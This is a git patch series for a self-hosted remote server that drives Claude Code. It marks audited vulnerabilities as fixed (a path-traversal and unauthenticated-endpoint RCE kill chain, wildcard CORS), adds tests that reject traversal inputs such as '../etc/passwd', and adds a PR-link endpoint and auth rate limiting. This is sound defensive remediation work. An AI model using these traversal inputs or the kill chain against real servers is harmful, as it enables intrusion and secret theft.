— All `/api/*` routes now require Bearer PIN via `checkApiAuth()`, except `/api/status` which returns limited info. Every HTTP endpoint is world-readable/writable. There is zero authentication on REST routes — only WebSocket connections check the PIN. @@ -106,6 +128,8 @@ curl -X POST 'https://your-server.example.com/api/projects/remote-claude-real/ca ## CRITICAL: Full Unauthenticated RCE Kill Chain +**Status:** FIXED — Both prerequisites (path traversal + unauthenticated endpoints) are resolved. The kill chain is no longer exploitable. + Combining the above two vulnerabilities with the fact that Claude is spawned with `--dangerously-skip-permissions`: ### Step 1: Steal secrets (0 auth) @@ -161,6 +185,7 @@ ws.send( **File:** `src/lib/store.ts:235-237, 429-431` **Severity:** HIGH **Auth required:** WebSocket (encrypted + PIN) +**Status:** FIXED — `validateProjectId()` rejects any projectId containing `..`, `/`, `\`, or null bytes. Applied to all HTTP and WebSocket handlers. The `projectId` from WebSocket messages flows into `path.join()` unsanitized: @@ -196,6 +221,7 @@ ws.send( **File:** `server.ts:276` **Severity:** HIGH +**Status:** FIXED — CORS restricted to `CLIENT_URL` + optional `CORS_ORIGINS` env var. No wildcard. ```typescript res.setHeader("Access-Control-Allow-Origin", "*"); @@ -215,6 +241,7 @@ Any website the user visits can make cross-origin requests to the API. Combined **File:** `server.ts:447-474` **Severity:** MEDIUM **Auth required:** None (HTTP endpoint is unauthenticated) +**Status:** FIXED — Endpoint now requires Bearer PIN auth, and projectId is validated to prevent traversal. The git status endpoint runs `execSync('git rev-parse ...')` with `cwd: project.path` where `project.path` comes from the `projectId` URL segment after path traversal through `getProject()`. While the command strings themselves are hardcoded (no injection), a malicious `.gitconfig` or `.git/hooks/` in the traversed directory could execute code when git runs. @@ -226,6 +253,7 @@ Additionally, this endpoint is **completely unauthenticated**, so the traversal **File:** `server.ts:254-264` **Severity:** MEDIUM +**Status:** ACCEPTED — Lookup now iterates all devices without early return to prevent timing side-channels. Rate limiting on auth attempts mitigates DoS. ```typescript function findDeviceByDecryption(encrypted: EncryptedData): Device | null { @@ -248,6 +276,7 @@ Device identification works by trying every device's key until decryption succee **File:** `server.ts:320-338` **Severity:** MEDIUM **Auth required:** None +**Status:** FIXED — Dev endpoints now behind `checkApiAuth()` gate. ```typescript if (pathname === '/api/dev/full-reload' && method === 'POST') { diff --git a/package.json b/package.json index 39a9b2b..44ab128 100644 --- a/package.json +++ b/package.json @@ -18,6 +18,7 @@ "lint": "eslint .", "format": "prettier --write .", "format:check": "prettier --check .", + "test": "tsx --test src/lib/*.test.ts", "knip": "knip", "ci:fix": "pnpm lint --fix && pnpm format", "logs:server": "tail -f logs/server.log", diff --git a/src/lib/crypto.test.ts b/src/lib/crypto.test.ts new file mode 100644 index 0000000..31a2442 --- /dev/null +++ b/src/lib/crypto.test.ts @@ -0,0 +1,140 @@ +import { describe, it } from "node:test"; +import assert from "node:assert/strict"; +import { + generateKeyPair, + deriveSharedSecret, + encrypt, + decrypt, +} from "./crypto.js"; + +describe("generateKeyPair", () => { + it("returns base64-encoded public and private keys", () => { + const kp = generateKeyPair(); + assert.ok(kp.publicKey.length > 0); + assert.ok(kp.privateKey.length > 0); + // Should be valid base64 + assert.doesNotThrow(() => Buffer.from(kp.publicKey, "base64")); + assert.doesNotThrow(() => Buffer.from(kp.privateKey, "base64")); + }); + + it("generates unique keypairs each time", () => { + const a = generateKeyPair(); + const b = generateKeyPair(); + assert.notEqual(a.publicKey, b.publicKey); + assert.notEqual(a.privateKey, b.privateKey); + }); +}); + +describe("deriveSharedSecret", () => { + it("derives the same secret from both sides of the exchange", () => { + const alice = generateKeyPair(); + const bob = generateKeyPair(); + const secretA = deriveSharedSecret(alice.privateKey, bob.publicKey); + const secretB = deriveSharedSecret(bob.privateKey, alice.publicKey); + assert.equal(secretA, secretB); + }); + + it("derives a 32-byte (256-bit) key", () => { + const alice = generateKeyPair(); + const bob = generateKeyPair(); + const secret = deriveSharedSecret(alice.privateKey, bob.publicKey); + const buf = Buffer.from(secret, "base64"); + assert.equal(buf.length, 32); + }); + + it("produces different secrets for different keypairs", () => { + const alice = generateKeyPair(); + const bob = generateKeyPair(); + const charlie = generateKeyPair(); + const secretAB = deriveSharedSecret(alice.privateKey, bob.publicKey); + const secretAC = deriveSharedSecret(alice.privateKey, charlie.publicKey); + assert.notEqual(secretAB, secretAC); + }); +}); + +describe("encrypt / decrypt", () => { + const alice = generateKeyPair(); + const bob = generateKeyPair(); + const sharedSecret = deriveSharedSecret(alice.privateKey, bob.publicKey); + + it("round-trips plaintext through encrypt then decrypt", () => { + const plaintext = "hello, world"; + const encrypted = encrypt(plaintext, sharedSecret); + const decrypted = decrypt(encrypted, sharedSecret); + assert.equal(decrypted, plaintext); + }); + + it("handles empty string", () => { + const encrypted = encrypt("", sharedSecret); + const decrypted = decrypt(encrypted, sharedSecret); + assert.equal(decrypted, ""); + }); + + it("handles unicode and emoji", () => { + const plaintext = "Hello \u00e9\u00e8\u00ea \u4e16\u754c \ud83d\ude80"; + const encrypted = encrypt(plaintext, sharedSecret); + const decrypted = decrypt(encrypted, sharedSecret); + assert.equal(decrypted, plaintext); + }); + + it("handles large payloads", () => { + const plaintext = "x".repeat(100_000); + const encrypted = encrypt(plaintext, sharedSecret); + const decrypted = decrypt(encrypted, sharedSecret); + assert.equal(decrypted, plaintext); + }); + + it("produces different ciphertext for the same plaintext (random IV)", () => { + const plaintext = "same message"; + const a = encrypt(plaintext, sharedSecret); + const b = encrypt(plaintext, sharedSecret); + assert.notEqual(a.iv, b.iv); + assert.notEqual(a.ct, b.ct); + }); + + it("returns base64-encoded iv, ct, and tag", () => { + const encrypted = encrypt("test", sharedSecret); + assert.ok(typeof encrypted.iv === "string"); + assert.ok(typeof encrypted.ct === "string"); + assert.ok(typeof encrypted.tag === "string"); + // IV should be 12 bytes = 16 base64 chars + assert.equal(Buffer.from(encrypted.iv, "base64").length, 12); + // Tag should be 16 bytes + assert.equal(Buffer.from(encrypted.tag, "base64").length, 16); + }); + + it("fails to decrypt with wrong secret", () => { + const otherSecret = deriveSharedSecret( + generateKeyPair().privateKey, + generateKeyPair().publicKey, + ); + const encrypted = encrypt("secret message", sharedSecret); + assert.throws(() => decrypt(encrypted, otherSecret)); + }); + + it("fails to decrypt with tampered ciphertext", () => { + const encrypted = encrypt("secret message", sharedSecret); + // Flip bits in the ciphertext to corrupt it + const ctBuf = Buffer.from(encrypted.ct, "base64"); + ctBuf[0] ^= 0xff; + const tampered = { ...encrypted, ct: ctBuf.toString("base64") }; + assert.throws(() => decrypt(tampered, sharedSecret)); + }); + + it("fails to decrypt with tampered tag", () => { + const encrypted = encrypt("secret message", sharedSecret); + // Flip a byte in the tag + const tagBuf = Buffer.from(encrypted.tag, "base64"); + tagBuf[0] ^= 0xff; + const tampered = { ...encrypted, tag: tagBuf.toString("base64") }; + assert.throws(() => decrypt(tampered, sharedSecret)); + }); + + it("fails to decrypt with tampered IV", () => { + const encrypted = encrypt("secret message", sharedSecret); + const ivBuf = Buffer.from(encrypted.iv, "base64"); + ivBuf[0] ^= 0xff; + const tampered = { ...encrypted, iv: ivBuf.toString("base64") }; + assert.throws(() => decrypt(tampered, sharedSecret)); + }); +}); diff --git a/src/lib/store.test.ts b/src/lib/store.test.ts new file mode 100644 index 0000000..0fa2050 --- /dev/null +++ b/src/lib/store.test.ts @@ -0,0 +1,49 @@ +import { describe, it } from "node:test"; +import assert from "node:assert/strict"; +import { validateProjectId } from "./store.js"; + +describe("validateProjectId", () => { + it("accepts simple project names", () => { + assert.equal(validateProjectId("my-project"), true); + assert.equal(validateProjectId("claude-remote"), true); + assert.equal(validateProjectId("foo_bar"), true); + assert.equal(validateProjectId("project123"), true); + }); + + it("accepts names with dots (e.g. domain names)", () => { + assert.equal(validateProjectId("my.project"), true); + assert.equal(validateProjectId("v1.0.0"), true); + }); + + it("accepts worktree-style names with double dashes", () => { + assert.equal(validateProjectId("my-project--feature-branch"), true); + assert.equal(validateProjectId("claude-remote--fix-auth"), true); + }); + + it("rejects empty string", () => { + assert.equal(validateProjectId(""), false); + }); + + it("rejects path traversal with ..", () => { + assert.equal(validateProjectId(".."), false); + assert.equal(validateProjectId("../etc/passwd"), false); + assert.equal(validateProjectId("foo/../bar"), false); + assert.equal(validateProjectId("foo/../../etc"), false); + }); + + it("rejects forward slashes", () => { + assert.equal(validateProjectId("foo/bar"), false); + assert.equal(validateProjectId("/etc/passwd"), false); + assert.equal(validateProjectId("a/b/c"), false); + }); + + it("rejects backslashes", () => { + assert.equal(validateProjectId("foo\\bar"), false); + assert.equal(validateProjectId("..\\..\\etc"), false); + }); + + it("rejects null bytes", () => { + assert.equal(validateProjectId("foo\0bar"), false); + assert.equal(validateProjectId("\0"), false); + }); +}); From 6a5c58b83907a0a526eab9034bc774bf941d6362 Mon Sep 17 00:00:00 2001 From: Jamie Pond Date: Tue, 10 Feb 2026 17:37:16 -0800 Subject: [PATCH 04/13] feat: add PR link to GitStatus UI New /api/projects/:id/pr endpoint fetches PR info via gh CLI. GitStatus shows clickable PR link in dropdown and icon in compact badge. Co-Authored-By: Claude Opus 4.6 --- client/src/components/GitStatus.tsx | 72 +++++++++++++++++++++++++++-- server.ts | 34 ++++++++++++++ 2 files changed, 103 insertions(+), 3 deletions(-) diff --git a/client/src/components/GitStatus.tsx b/client/src/components/GitStatus.tsx index afcbc80..e7fb5e2 100644 --- a/client/src/components/GitStatus.tsx +++ b/client/src/components/GitStatus.tsx @@ -19,6 +19,13 @@ interface GitStatusData { branches: string[]; } +interface PrData { + url: string; + number: number; + title: string; + state: string; +} + // Git status code to color/label function fileStatusColor(status: string): string { if (status.includes("M")) return "text-yellow-300"; @@ -64,6 +71,27 @@ export default function GitStatus({ const [creating, setCreating] = useState(false); const [createError, setCreateError] = useState(null); const [deleting, setDeleting] = useState(false); + const [pr, setPr] = useState(null); + + const fetchPr = useCallback(async () => { + if (!projectId) { + setPr(null); + return; + } + try { + const res = await apiFetch( + `/api/projects/${encodeURIComponent(projectId)}/pr`, + { serverId, serverUrl }, + ); + if (!res.ok) { + setPr(null); + return; + } + setPr(await res.json()); + } catch { + setPr(null); + } + }, [projectId, serverId, serverUrl]); const fetchStatus = useCallback(async () => { if (!projectId) { @@ -100,14 +128,18 @@ export default function GitStatus({ // Fetch on mount and when projectId changes useEffect(() => { fetchStatus(); - }, [fetchStatus]); + fetchPr(); + }, [fetchStatus, fetchPr]); // Refresh periodically (every 30s) useEffect(() => { if (!projectId) return; - const interval = setInterval(fetchStatus, 30000); + const interval = setInterval(() => { + fetchStatus(); + fetchPr(); + }, 30000); return () => clearInterval(interval); - }, [projectId, fetchStatus]); + }, [projectId, fetchStatus, fetchPr]); // Reset worktree create state when dropdown closes useEffect(() => { @@ -240,6 +272,13 @@ export default function GitStatus({ ↓{status.behind} )} + {pr && ( + + + + + + )} {/* Expanded details dropdown */} @@ -320,6 +359,32 @@ export default function GitStatus({ )}
)} + + {/* PR link */} + {pr && ( + + )}
{/* Changed files list */} @@ -352,6 +417,7 @@ export default function GitStatus({ onClick={(e) => { e.stopPropagation(); fetchStatus(); + fetchPr(); }} className="w-full flex items-center justify-center gap-2 px-3 py-1.5 text-xs text-[var(--color-text-secondary)] hover:text-[var(--color-text-primary)] hover:bg-[var(--color-bg-hover)] rounded transition-colors" > diff --git a/server.ts b/server.ts index 7d5ea89..15a1b89 100644 --- a/server.ts +++ b/server.ts @@ -775,6 +775,40 @@ async function handleRequest(req: IncomingMessage, res: ServerResponse) { } } + // API: Get PR info for a project's current branch + if ( + pathname?.startsWith("/api/projects/") && + pathname.endsWith("/pr") && + method === "GET" + ) { + const projectId = decodeURIComponent( + pathname.split("/api/projects/")[1].replace("/pr", ""), + ); + if (!validateProjectId(projectId)) + return json(res, { error: "Invalid project ID" }, 400); + const project = getProject(projectId); + if (!project) { + return json(res, { error: "Project not found" }, 404); + } + + try { + const prJson = execSync( + "gh pr view --json url,number,title,state", + { + cwd: project.path, + encoding: "utf-8", + timeout: 10000, + }, + ).trim(); + const pr = JSON.parse(prJson); + console.log(`[api] PR info for ${projectId}: #${pr.number} (${pr.state})`); + return json(res, pr); + } catch { + console.log(`[api] No PR found for ${projectId}`); + return json(res, { error: "No PR found" }, 404); + } + } + // API: Worktree management if ( pathname?.startsWith("/api/projects/") && From a08a063850d19b2101823a3df6a4bfd2c15ef215 Mon Sep 17 00:00:00 2001 From: Jamie Pond Date: Tue, 10 Feb 2026 17:46:30 -0800 Subject: [PATCH 05/13] fix: move PR badge next to branch button as separate clickable link Co-Authored-By: Claude Opus 4.6 --- client/src/components/GitStatus.tsx | 23 +++++++++++++++-------- 1 file changed, 15 insertions(+), 8 deletions(-) diff --git a/client/src/components/GitStatus.tsx b/client/src/components/GitStatus.tsx index e7fb5e2..59a7475 100644 --- a/client/src/components/GitStatus.tsx +++ b/client/src/components/GitStatus.tsx @@ -227,7 +227,7 @@ export default function GitStatus({ } return ( -
+
+ {pr && ( + + + + + #{pr.number} + + )} {/* Expanded details dropdown */} {expanded && ( From d279acd25c918c01d89ddf165cca05e7c068dad1 Mon Sep 17 00:00:00 2001 From: Jamie Pond Date: Tue, 10 Feb 2026 17:52:59 -0800 Subject: [PATCH 06/13] wip --- scripts/new-pair.sh | 21 ++++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/scripts/new-pair.sh b/scripts/new-pair.sh index 87bf00f..d5294b3 100755 --- a/scripts/new-pair.sh +++ b/scripts/new-pair.sh @@ -6,10 +6,29 @@ set -e PIN="${1:?Usage: $0 }" SERVER="http://localhost:6767" +DEVICES_FILE="$HOME/.config/claude-remote/devices.json" OUTFILE="pair-link.txt" +# Auth requires sha256(pin + deviceToken) — grab first non-expired device token +if [ ! -f "$DEVICES_FILE" ]; then + echo "Error: no devices file at $DEVICES_FILE" + echo "Pair a device first via the web UI." + exit 1 +fi + +DEVICE_TOKEN=$(jq -r ' + [.[] | select(.tokenExpiresAt > now | todate)] | first | .token // empty +' "$DEVICES_FILE") + +if [ -z "$DEVICE_TOKEN" ]; then + echo "Error: no valid (non-expired) device token found" + exit 1 +fi + +AUTH_HASH=$(printf '%s' "${PIN}${DEVICE_TOKEN}" | sha256sum | cut -d' ' -f1) + RESPONSE=$(curl -s -X POST "$SERVER/api/new-pair-token" \ - -H "Authorization: Bearer $PIN" \ + -H "Authorization: Bearer $AUTH_HASH" \ -H "Content-Type: application/json") URL=$(echo "$RESPONSE" | jq -r '.pairingUrl // empty') From e2c784e7468e4ff00d2ee92bc832dd2624ff6ba3 Mon Sep 17 00:00:00 2001 From: Jamie Pond Date: Tue, 10 Feb 2026 17:54:47 -0800 Subject: [PATCH 07/13] wip --- scripts/new-pair.sh | 24 ++---------------------- server.ts | 10 +++++++++- 2 files changed, 11 insertions(+), 23 deletions(-) diff --git a/scripts/new-pair.sh b/scripts/new-pair.sh index d5294b3..6ee71bc 100755 --- a/scripts/new-pair.sh +++ b/scripts/new-pair.sh @@ -1,34 +1,14 @@ #!/bin/bash # Generate a new pairing QR code / link -# Usage: ./scripts/new-pair.sh +# Must be run on the server machine (localhost auth exempt) +# Usage: ./scripts/new-pair.sh set -e -PIN="${1:?Usage: $0 }" SERVER="http://localhost:6767" -DEVICES_FILE="$HOME/.config/claude-remote/devices.json" OUTFILE="pair-link.txt" -# Auth requires sha256(pin + deviceToken) — grab first non-expired device token -if [ ! -f "$DEVICES_FILE" ]; then - echo "Error: no devices file at $DEVICES_FILE" - echo "Pair a device first via the web UI." - exit 1 -fi - -DEVICE_TOKEN=$(jq -r ' - [.[] | select(.tokenExpiresAt > now | todate)] | first | .token // empty -' "$DEVICES_FILE") - -if [ -z "$DEVICE_TOKEN" ]; then - echo "Error: no valid (non-expired) device token found" - exit 1 -fi - -AUTH_HASH=$(printf '%s' "${PIN}${DEVICE_TOKEN}" | sha256sum | cut -d' ' -f1) - RESPONSE=$(curl -s -X POST "$SERVER/api/new-pair-token" \ - -H "Authorization: Bearer $AUTH_HASH" \ -H "Content-Type: application/json") URL=$(echo "$RESPONSE" | jq -r '.pairingUrl // empty') diff --git a/server.ts b/server.ts index 15a1b89..839e7d9 100644 --- a/server.ts +++ b/server.ts @@ -440,7 +440,15 @@ async function handleRequest(req: IncomingMessage, res: ServerResponse) { } // Auth gate: all /api/ routes require PIN auth, except /api/status (limited info without auth) - if (pathname?.startsWith("/api/") && pathname !== "/api/status") { + // Also exempt /api/new-pair-token from localhost — if you're on the machine, you're authorized + const isLocalhost = + req.socket.remoteAddress === "127.0.0.1" || + req.socket.remoteAddress === "::1" || + req.socket.remoteAddress === "::ffff:127.0.0.1"; + const authExempt = + pathname === "/api/status" || + (pathname === "/api/new-pair-token" && isLocalhost); + if (pathname?.startsWith("/api/") && !authExempt) { if (!checkApiAuth(req, res)) return; } From e7f96edc23696ae124832ee268c2c658b02f2de8 Mon Sep 17 00:00:00 2001 From: Jamie Pond Date: Tue, 10 Feb 2026 17:59:08 -0800 Subject: [PATCH 08/13] wip --- server.ts | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) diff --git a/server.ts b/server.ts index 839e7d9..15a1b89 100644 --- a/server.ts +++ b/server.ts @@ -440,15 +440,7 @@ async function handleRequest(req: IncomingMessage, res: ServerResponse) { } // Auth gate: all /api/ routes require PIN auth, except /api/status (limited info without auth) - // Also exempt /api/new-pair-token from localhost — if you're on the machine, you're authorized - const isLocalhost = - req.socket.remoteAddress === "127.0.0.1" || - req.socket.remoteAddress === "::1" || - req.socket.remoteAddress === "::ffff:127.0.0.1"; - const authExempt = - pathname === "/api/status" || - (pathname === "/api/new-pair-token" && isLocalhost); - if (pathname?.startsWith("/api/") && !authExempt) { + if (pathname?.startsWith("/api/") && pathname !== "/api/status") { if (!checkApiAuth(req, res)) return; } From f221d4a6763c98b1b6b846493c566dda796a3c4a Mon Sep 17 00:00:00 2001 From: Jamie Pond Date: Tue, 10 Feb 2026 18:00:26 -0800 Subject: [PATCH 09/13] wip --- server.ts | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/server.ts b/server.ts index 15a1b89..349bc65 100644 --- a/server.ts +++ b/server.ts @@ -96,11 +96,19 @@ function checkAuthRateLimit(ip: string): boolean { const now = Date.now(); const entry = authAttempts.get(ip); if (!entry || now >= entry.resetAt) { - authAttempts.set(ip, { count: 1, resetAt: now + AUTH_WINDOW_MS }); return true; } - entry.count++; - return entry.count <= AUTH_MAX_ATTEMPTS; + return entry.count < AUTH_MAX_ATTEMPTS; +} + +function recordAuthFailure(ip: string): void { + const now = Date.now(); + const entry = authAttempts.get(ip); + if (!entry || now >= entry.resetAt) { + authAttempts.set(ip, { count: 1, resetAt: now + AUTH_WINDOW_MS }); + } else { + entry.count++; + } } // Device token TTL: 6 months From 0acac42d7a96407a4b281d3bba6ce0f8f3b8a7f2 Mon Sep 17 00:00:00 2001 From: Jamie Pond Date: Tue, 10 Feb 2026 18:00:32 -0800 Subject: [PATCH 10/13] wip --- server.ts | 2 ++ 1 file changed, 2 insertions(+) diff --git a/server.ts b/server.ts index 349bc65..100a61d 100644 --- a/server.ts +++ b/server.ts @@ -395,6 +395,7 @@ function checkApiAuth(req: IncomingMessage, res: ServerResponse): boolean { const auth = req.headers["authorization"]; if (!auth || !auth.startsWith("Bearer ")) { + recordAuthFailure(clientIp); json(res, { error: "Unauthorized" }, 401); return false; } @@ -418,6 +419,7 @@ function checkApiAuth(req: IncomingMessage, res: ServerResponse): boolean { } if (!matched) { + recordAuthFailure(clientIp); json(res, { error: "Unauthorized" }, 401); return false; } From 661190e0f923330b150cb77da2c256ec8c043629 Mon Sep 17 00:00:00 2001 From: Jamie Pond Date: Tue, 10 Feb 2026 18:01:32 -0800 Subject: [PATCH 11/13] wip --- server.ts | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/server.ts b/server.ts index 100a61d..80c138d 100644 --- a/server.ts +++ b/server.ts @@ -449,8 +449,17 @@ async function handleRequest(req: IncomingMessage, res: ServerResponse) { return; } - // Auth gate: all /api/ routes require PIN auth, except /api/status (limited info without auth) - if (pathname?.startsWith("/api/") && pathname !== "/api/status") { + // Auth gate: all /api/ routes require PIN auth, except: + // - /api/status (limited info without auth) + // - /api/new-pair-token from localhost (if you're on the machine, you're authorized) + const isLocalhost = + req.socket.remoteAddress === "127.0.0.1" || + req.socket.remoteAddress === "::1" || + req.socket.remoteAddress === "::ffff:127.0.0.1"; + const authExempt = + pathname === "/api/status" || + (pathname === "/api/new-pair-token" && isLocalhost); + if (pathname?.startsWith("/api/") && !authExempt) { if (!checkApiAuth(req, res)) return; } @@ -1466,6 +1475,7 @@ async function main() { } } else { console.log("Auth failed - invalid PIN"); + recordAuthFailure(clientIp); sendEncrypted({ type: "auth_error", error: "Invalid PIN" }); } } else if (msg.type === "list_projects") { From 27747abb2f50dbae1345fc1e264250b0ad514e36 Mon Sep 17 00:00:00 2001 From: Jamie Pond Date: Tue, 10 Feb 2026 18:01:57 -0800 Subject: [PATCH 12/13] fmt --- client/src/components/GitStatus.tsx | 28 +++++++++++++++++++++++----- server.ts | 17 ++++++++--------- 2 files changed, 31 insertions(+), 14 deletions(-) diff --git a/client/src/components/GitStatus.tsx b/client/src/components/GitStatus.tsx index 59a7475..a4b13a3 100644 --- a/client/src/components/GitStatus.tsx +++ b/client/src/components/GitStatus.tsx @@ -282,7 +282,10 @@ export default function GitStatus({ title={`PR #${pr.number}: ${pr.title}`} > - + #{pr.number} @@ -370,8 +373,15 @@ export default function GitStatus({ {/* PR link */} {pr && (
- - + + PR #{pr.number} - - + + {pr.state !== "OPEN" && ( diff --git a/server.ts b/server.ts index 80c138d..821aeba 100644 --- a/server.ts +++ b/server.ts @@ -811,16 +811,15 @@ async function handleRequest(req: IncomingMessage, res: ServerResponse) { } try { - const prJson = execSync( - "gh pr view --json url,number,title,state", - { - cwd: project.path, - encoding: "utf-8", - timeout: 10000, - }, - ).trim(); + const prJson = execSync("gh pr view --json url,number,title,state", { + cwd: project.path, + encoding: "utf-8", + timeout: 10000, + }).trim(); const pr = JSON.parse(prJson); - console.log(`[api] PR info for ${projectId}: #${pr.number} (${pr.state})`); + console.log( + `[api] PR info for ${projectId}: #${pr.number} (${pr.state})`, + ); return json(res, pr); } catch { console.log(`[api] No PR found for ${projectId}`); From c048721811d32c73302b37caf86d942c91831ccd Mon Sep 17 00:00:00 2001 From: Jamie Pond Date: Tue, 10 Feb 2026 18:02:29 -0800 Subject: [PATCH 13/13] wip --- client/src/pages/Chat.tsx | 27 ++++++++++++++++++++++----- 1 file changed, 22 insertions(+), 5 deletions(-) diff --git a/client/src/pages/Chat.tsx b/client/src/pages/Chat.tsx index 00948b8..de6e9bb 100644 --- a/client/src/pages/Chat.tsx +++ b/client/src/pages/Chat.tsx @@ -727,19 +727,36 @@ export default function Chat({ serverConfig, onNavigate }: Props) { } } else if (msg.type === "auth_error") { console.error("Auth failed:", msg.error); - cachedPinRef.current = null; - clearServerPin(serverConfig.id); - setIsReconnecting(false); - setReconnectAttempt(0); - reconnectAttemptRef.current = 0; if (msg.error === "device_expired") { + cachedPinRef.current = null; + clearServerPin(serverConfig.id); + setIsReconnecting(false); + setReconnectAttempt(0); + reconnectAttemptRef.current = 0; setError( "Device authorization has expired. Please re-pair this device.", ); // Redirect to server list after a short delay setTimeout(() => onNavigate("servers"), 3000); + } else if ( + msg.error?.includes("Too many attempts") || + msg.error?.includes("rate limit") + ) { + // Rate limited — don't clear PIN, just retry after a delay + console.log("[auth] Rate limited, will retry in 10s..."); + setError("Rate limited — retrying..."); + setTimeout(() => { + if (cachedPinRef.current) { + connectAndAuth(); + } + }, 10_000); } else { + cachedPinRef.current = null; + clearServerPin(serverConfig.id); + setIsReconnecting(false); + setReconnectAttempt(0); + reconnectAttemptRef.current = 0; setError( msg.error || "Authentication failed - please re-enter PIN", );